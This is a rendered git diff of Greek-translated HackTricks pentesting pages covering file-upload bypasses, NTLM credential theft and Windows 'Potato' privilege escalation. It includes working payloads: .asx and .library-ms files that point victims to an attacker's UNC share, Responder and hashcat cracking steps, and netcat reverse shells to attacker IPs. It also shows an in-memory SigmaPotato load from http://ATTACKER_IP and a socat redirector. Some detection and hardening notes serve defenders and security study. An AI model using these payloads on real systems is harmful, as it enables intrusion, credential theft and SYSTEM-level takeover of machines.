3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip αλλάζουν χρησιμοποιώντας vi ή έναν Hex Editor, αντικαθιστώντας το "xxA" με "../" για να διασχίσουν καταλόγους.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -357,7 +382,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Ανεβάστε αυτό το περιεχόμενο με μία επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Ανεβάστε αυτό το περιεχόμενο με μια image extension για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -366,31 +391,29 @@ pop graphic-context
|
||||
```
|
||||
## Ενσωμάτωση PHP Shell σε PNG
|
||||
|
||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες περιπτώσεις χρήσης.
|
||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συχνά για την αλλαγή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένα σενάρια χρήσης.
|
||||
|
||||
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια εκτενή κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Τα polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
Polyglot files λειτουργούν ως μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν να υπάρξουν νόμιμα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης δυνατοί.
|
||||
|
||||
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload—όπως JPEG, GIF ή DOC—για να μειωθεί ο κίνδυνος που προέρχεται από δυνητικά επικίνδυνες μορφές (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές απαιτήσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει σιωπηλά αυτούς τους περιορισμούς.
|
||||
Η βασική χρησιμότητα των polyglot files έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία βάσει τύπου. Συνήθης πρακτική σε διάφορες εφαρμογές είναι να επιτρέπεται μόνο η μεταφόρτωση συγκεκριμένων τύπων αρχείων — όπως JPEG, GIF ή DOC — για να μετριαστεί ο κίνδυνος από ενδεχομένως επιβλαβείς μορφές (π.χ., JS, PHP ή Phar files). Ωστόσο, ένα polyglot, συμμορφούμενο με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αθόρυβα αυτούς τους περιορισμούς.
|
||||
|
||||
Παρότι είναι ευέλικτα, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική του πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό ως προς τις επιτρεπτές επεκτάσεις, η απλή δομική διπλή φύση ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Παρά την προσαρμοστικότητά τους, τα polyglots συναντούν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file (PHp ARchive) και ένα JPEG, η επιτυχία της μεταφόρτωσής του μπορεί να εξαρτάται από τις πολιτικές επέκτασης αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό ως προς τις επιτρεπόμενες επεκτάσεις, η μόνη δομική δυαδικότητα ενός polyglot ενδέχεται να μην αρκεί για να εξασφαλίσει τη μεταφόρτωση.
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου φορτώνοντας ένα έγκυρο αρχείο JSON ακόμα κι αν δεν επιτρέπεται, προσποιούμενοι ότι είναι αρχείο PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Όσο τα μαγικά bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλ. παράδειγμα στο post)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (βλ. παράδειγμα στο post)
|
||||
- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και μετά μέσα στο JSON τοποθετήστε το αρχικό μέρος ενός πραγματικού PDF ώστε να το θεωρήσει PDF
|
||||
- **`mmmagic` library**: Εφόσον τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλ. παράδειγμα στο post)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίσει ότι είναι ένα pdf (βλ. παράδειγμα στο post)
|
||||
- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Απλώς δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως json και στη συνέχεια μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -406,5 +429,7 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# Μέρη για να κλέψετε NTLM πιστοποιητικά
|
||||
# Τοποθεσίες για να κλέψετε NTLM creds
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ελέγξτε όλες τις υπέροχες ιδέες από [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) από τη λήψη ενός αρχείου microsoft word online μέχρι την πηγή διαρροών ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md και [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
**Δείτε όλες τις εξαιρετικές ιδέες από [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — από το κατέβασμα ενός Microsoft Word αρχείου στο διαδίκτυο μέχρι την ntlm leaks πηγή: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md και [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Windows Media Player playlists (.ASX/.WAX)
|
||||
|
||||
Αν καταφέρετε να κάνετε έναν στόχο να ανοίξει ή να προεπισκοπήσει μια Windows Media Player playlist που ελέγχετε, μπορείτε να leak Net‑NTLMv2 δείχνοντας την εγγραφή σε ένα UNC path. Το WMP θα επιχειρήσει να ανακτήσει το αναφερόμενο media μέσω SMB και θα αυθεντικοποιήσει αυτόματα.
|
||||
|
||||
Παράδειγμα payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
Ροή συλλογής και cracking:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP-ενσωματωμένο .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Το Windows Explorer χειρίζεται ανασφαλώς αρχεία .library-ms όταν ανοίγονται απευθείας μέσα από ένα αρχείο ZIP. Εάν ο ορισμός της βιβλιοθήκης δείχνει σε απομακρυσμένο UNC path (π.χ., \\attacker\share), η απλή περιήγηση/εκτέλεση του .library-ms μέσα στο ZIP προκαλεί το Explorer να απαριθμήσει το UNC και να αποστείλει NTLM authentication στον attacker. Αυτό παράγει ένα NetNTLMv2 που μπορεί να σπαστεί offline ή ενδεχομένως να αναμεταφερθεί (relayed).
|
||||
|
||||
Minimal .library-ms pointing to an attacker UNC
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
Βήματα λειτουργίας
|
||||
- Δημιουργήστε το αρχείο .library-ms με το XML παραπάνω (ορίστε το IP/hostname σας).
|
||||
- Συμπιέστε το (στα Windows: Send to → Compressed (zipped) folder) και παραδώστε το ZIP στον στόχο.
|
||||
- Εκτελέστε έναν NTLM capture listener και περιμένετε το θύμα να ανοίξει το .library-ms μέσα από το ZIP.
|
||||
|
||||
|
||||
## Αναφορές
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και νεότερες εκδόσεις. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** μπορούν να χρησιμοποιηθούν για **αξιοποίηση των ίδιων προνομίων και απόκτηση πρόσβασης επιπέδου `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
> **JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. Αυτό το [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) εμβαθύνει στο εργαλείο `PrintSpoofer`, το οποίο μπορεί να χρησιμοποιηθεί για να καταχραστεί τα δικαιώματα impersonation σε hosts Windows 10 και Server 2019 όπου το JuicyPotato δεν λειτουργεί πλέον.
|
||||
|
||||
> [!TIP]
|
||||
> Μια σύγχρονη εναλλακτική που συντηρείται τακτικά το 2024–2025 είναι SigmaPotato (a fork of GodPotato) που προσθέτει in-memory/.NET reflection usage και εκτεταμένη υποστήριξη OS. Δείτε γρήγορη χρήση παρακάτω και το repo στις Αναφορές.
|
||||
> Μια σύγχρονη εναλλακτική που συντηρείται συχνά το 2024–2025 είναι SigmaPotato (ένα fork του GodPotato) που προσθέτει in-memory/.NET reflection usage και extended OS support. Δείτε γρήγορη χρήση παρακάτω και το repo στις Αναφορές.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Απαιτήσεις και συνηθισμένα προβλήματα
|
||||
## Requirements and common gotchas
|
||||
|
||||
Όλες οι παρακάτω τεχνικές βασίζονται στην κατάχρηση μιας υπηρεσίας με δυνατότητα impersonation από πλαίσιο που διαθέτει κάποιο από τα παρακάτω προνόμια:
|
||||
All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
|
||||
|
||||
- SeImpersonatePrivilege (το πιο συνηθισμένο) ή SeAssignPrimaryTokenPrivilege
|
||||
- Δεν απαιτείται high integrity αν το token έχει ήδη SeImpersonatePrivilege (τυπικό για πολλούς λογαριασμούς υπηρεσιών όπως IIS AppPool, MSSQL, κ.λπ.)
|
||||
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
|
||||
- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Ελέγξτε τα προνόμια γρήγορα:
|
||||
Check privileges quickly:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Λειτουργικές σημειώσεις:
|
||||
Σημειώσεις λειτουργίας:
|
||||
|
||||
- PrintSpoofer χρειάζεται την υπηρεσία Print Spooler να είναι ενεργή και προσβάσιμη μέσω του τοπικού RPC endpoint (spoolss). Σε σκληροποιημένα περιβάλλοντα όπου ο Spooler έχει απενεργοποιηθεί μετά το PrintNightmare, προτιμήστε RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato απαιτεί έναν OXID resolver προσβάσιμο μέσω TCP/135. Εάν το egress είναι μπλοκαρισμένο, χρησιμοποιήστε έναν redirector/port-forwarder (βλέπε παράδειγμα παρακάτω). Παλαιότερα builds απαιτούσαν το -f flag.
|
||||
- EfsPotato/SharpEfsPotato εκμεταλλεύονται το MS-EFSR· αν ένας pipe είναι μπλοκαρισμένος, δοκιμάστε εναλλακτικούς pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Το Error 0x6d3 κατά τη διάρκεια του RpcBindingSetAuthInfo συνήθως υποδεικνύει μια άγνωστη/μη υποστηριζόμενη RPC authentication service· δοκιμάστε διαφορετικό pipe/transport ή βεβαιωθείτε ότι η στοχευόμενη υπηρεσία τρέχει.
|
||||
- Αν το shell σου εκτελείται με περιορισμένο token που δεν έχει SeImpersonatePrivilege (συνηθισμένο για Local Service/Network Service σε ορισμένα πλαίσια), επανέκτησε τα προεπιλεγμένα δικαιώματα του λογαριασμού χρησιμοποιώντας FullPowers, και μετά τρέξε ένα Potato. Παράδειγμα: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- Το PrintSpoofer χρειάζεται την υπηρεσία Print Spooler να τρέχει και να είναι προσβάσιμη μέσω του τοπικού RPC endpoint (spoolss). Σε περιβάλλοντα αυστηρής σκληροποίησης όπου ο Spooler είναι απενεργοποιημένος μετά το PrintNightmare, προτίμησε RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato απαιτεί έναν OXID resolver προσβάσιμο στο TCP/135. Εάν το egress είναι μπλοκαρισμένο, χρησιμοποίησε έναν redirector/port-forwarder (βλέπε παράδειγμα παρακάτω). Παλαιότερες εκδόσεις χρειάζονταν το -f flag.
|
||||
- EfsPotato/SharpEfsPotato εκμεταλλεύονται το MS-EFSR· αν ένας pipe είναι μπλοκαρισμένος, δοκίμασε εναλλακτικούς pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Το Error 0x6d3 κατά τη διάρκεια του RpcBindingSetAuthInfo συνήθως υποδηλώνει άγνωστη/μη υποστηριζόμενη υπηρεσία RPC authentication· δοκίμασε άλλο pipe/transport ή βεβαιώσου ότι η στοχευόμενη υπηρεσία τρέχει.
|
||||
|
||||
## Quick Demo
|
||||
|
||||
@ -58,8 +59,8 @@ NULL
|
||||
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Μπορείτε να χρησιμοποιήσετε -i για να εκκινήσετε μια διαδραστική διεργασία στην τρέχουσα κονσόλα, ή -c για να εκτελέσετε μια εντολή μίας γραμμής.
|
||||
- Απαιτεί την υπηρεσία Spooler. Εάν είναι απενεργοποιημένη, αυτό θα αποτύχει.
|
||||
- Μπορείτε να χρησιμοποιήσετε -i για να εκκινήσετε μια διαδραστική διεργασία στην τρέχουσα κονσόλα, ή -c για να εκτελέσετε ένα one-liner.
|
||||
- Απαιτείται η υπηρεσία Spooler. Εάν είναι απενεργοποιημένη, αυτό θα αποτύχει.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Αν η εξερχόμενη θύρα 135 είναι μπλοκαρισμένη, pivot the OXID resolver via socat on your redirector:
|
||||
Εάν η εξερχόμενη θύρα 135 είναι αποκλεισμένη, pivot τον OXID resolver μέσω socat στον redirector σας:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Συμβουλή: Αν ένα pipe αποτύχει ή το EDR το μπλοκάρει, δοκιμάστε τα άλλα υποστηριζόμενα pipes:
|
||||
Συμβουλή: Αν κάποιος pipe αποτύχει ή το EDR τον μπλοκάρει, δοκιμάστε τα άλλα υποστηριζόμενα pipes:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -122,14 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
# You can achieve a reverse shell like this.
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Σημειώσεις:
|
||||
Notes:
|
||||
- Λειτουργεί σε Windows 8/8.1–11 και Server 2012–2022 όταν υπάρχει το SeImpersonatePrivilege.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato παρέχει δύο παραλλαγές που στοχεύουν αντικείμενα υπηρεσίας DCOM που έχουν προεπιλογή το RPC_C_IMP_LEVEL_IMPERSONATE. Δημιουργήστε ή χρησιμοποιήστε τα παρεχόμενα binaries και τρέξτε την εντολή σας:
|
||||
DCOMPotato παρέχει δύο παραλλαγές που στοχεύουν αντικείμενα υπηρεσίας DCOM τα οποία έχουν ως προεπιλογή το RPC_C_IMP_LEVEL_IMPERSONATE. Build ή χρησιμοποιήστε τα παρεχόμενα binaries και εκτελέστε την εντολή σας:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (ενημερωμένο fork του GodPotato)
|
||||
|
||||
Το SigmaPotato προσθέτει σύγχρονες βελτιώσεις, όπως in-memory execution μέσω .NET reflection και ένα βοηθητικό για PowerShell reverse shell.
|
||||
SigmaPotato προσθέτει σύγχρονες βελτιώσεις, όπως in-memory execution μέσω .NET reflection και ένα PowerShell reverse shell helper.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -148,13 +149,13 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
## Σημειώσεις ανίχνευσης και σκληρύνσεως
|
||||
## Σημειώσεις ανίχνευσης και ενίσχυσης
|
||||
|
||||
- Παρακολουθήστε για διεργασίες που δημιουργούν named pipes και καλούν αμέσως token-duplication APIs ακολουθούμενα από CreateProcessAsUser/CreateProcessWithTokenW. Το Sysmon μπορεί να αποκαλύψει χρήσιμη τηλεμετρία: Event ID 1 (δημιουργία διεργασίας), 17/18 (named pipe created/connected), και command lines που spawn-άρουν child processes ως SYSTEM.
|
||||
- Spooler hardening: Η απενεργοποίηση της Print Spooler service σε servers όπου δεν απαιτείται αποτρέπει PrintSpoofer-style local coercions μέσω spoolss.
|
||||
- Service account hardening: Ελαχιστοποιήστε την ανάθεση των SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege σε custom services. Σκεφτείτε να τρέχετε services υπό virtual accounts με τα ελάχιστα απαιτούμενα προνόμια και να τα απομονώνετε με service SID και write-restricted tokens όταν είναι δυνατό.
|
||||
- Network controls: Το μπλοκάρισμα outbound TCP/135 ή ο περιορισμός της κίνησης RPC endpoint mapper μπορεί να σπάσει το RoguePotato εκτός αν υπάρχει διαθέσιμο internal redirector.
|
||||
- EDR/AV: Όλα αυτά τα εργαλεία είναι ευρέως ανιχνεύσιμα με signatures. Η recompilation από το source, η μετονομασία symbols/strings ή η χρήση in-memory execution μπορεί να μειώσει την ανιχνευσιμότητα αλλά δεν θα παρακάμψει αξιόπιστες behavioral ανιχνεύσεις.
|
||||
- Παρακολουθήστε διεργασίες που δημιουργούν named pipes και αμέσως καλούν token-duplication APIs, ακολουθούμενες από CreateProcessAsUser/CreateProcessWithTokenW. Το Sysmon μπορεί να εμφανίσει χρήσιμη τηλεμετρία: Event ID 1 (process creation), 17/18 (named pipe created/connected), και command lines που spawn child processes ως SYSTEM.
|
||||
- Spooler hardening: Η απενεργοποίηση της Print Spooler service σε servers όπου δεν είναι απαραίτητη αποτρέπει PrintSpoofer-style local coercions μέσω spoolss.
|
||||
- Service account hardening: Ελαχιστοποιήστε την ανάθεση SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege σε custom services. Σκεφτείτε να τρέχετε services υπό virtual accounts με τα ελάχιστα απαιτούμενα προνόμια και να τα απομονώνετε με service SID και write-restricted tokens όταν είναι δυνατόν.
|
||||
- Network controls: Το μπλοκάρισμα outbound TCP/135 ή ο περιορισμός του RPC endpoint mapper traffic μπορεί να διακόψει το RoguePotato εκτός αν υπάρχει internal redirector.
|
||||
- EDR/AV: Όλα αυτά τα εργαλεία είναι ευρέως signatured. Recompiling from source, renaming symbols/strings ή χρήση in-memory execution μπορεί να μειώσει την ανίχνευση αλλά δεν θα νικήσει ισχυρές behavioral detections.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -167,5 +168,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user